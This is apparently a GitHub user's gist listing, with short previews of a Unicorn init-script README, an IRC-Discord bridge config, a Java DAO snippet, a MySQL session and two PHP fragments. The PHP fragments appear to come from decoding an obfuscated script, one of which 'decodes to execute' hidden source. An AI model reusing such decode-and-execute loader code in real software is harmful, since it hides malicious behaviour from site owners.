Skip to content

Instantly share code, notes, and snippets.

View allaryin's full-sized avatar

Ammon Lauritzen allaryin

  • Austin, TX
View GitHub Profile
@allaryin
allaryin / README.md
Last active January 4, 2017 20:01 — forked from killercup/README.md
Unicorn, init.d - native ruby, no rvm/rbenv/etc...

This is my take of the init script system I've seen tossed around. Because I don't run RVM on servers, I have removed it in favor of assuming the user can define the correct path to unicorn themselves. If you need RVM, see the upstream version of this gist.

Installation

  1. Have a server with 1+ working unicorn instances with config defined in config/unicorn.rb.
  2. Create /etc/unicorn/[APPNAME].conf for each app on the server.
  3. Install init script at /etc/init.d/unicorn.
  4. sudo update-rc.d unicorn defaults

Bugfixes

@allaryin
allaryin / auth.json
Last active December 13, 2015 18:53 — forked from copygirl/cord.ls
Fiddled-together IRC - Discord bridge bot
{
"irc": {
"server": "irc.esper.net",
"nick": "nick",
"password": "ircpass",
"userName": "MCU Discord-IRC Bridge",
"autoConnect": false,
"channels": ["#channelOne","#SomeOtherchannel"]
},
"discord": {
public class Comment extends DAO
{
public static final String TABLE_NAME = "comments";
public static final String COLUMN_ID = "id";
public static final String COLUMN_COMMENT = "comment";
@Override
public static String[] getCreateSQL() {
return {
mysql> create table foo (id integer primary key auto_increment not null, port integer uniqu
e null);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo (port) values (200);
Query OK, 1 row affected (0.00 sec)
mysql> insert into foo (port) values (null);
Query OK, 1 row affected (0.00 sec)
<?php
/**
* It finally all decodes to execute this source
*/
#$debug = 1;
$linkanzahl = 4;
<?
$a=0;
$b=0;
$c=0;
$d=3;
$glob=base64_decode($o);
$e=0;
$f=(ord($glob[1])<<8)+ord($glob[2]);
$g=16;
$h="";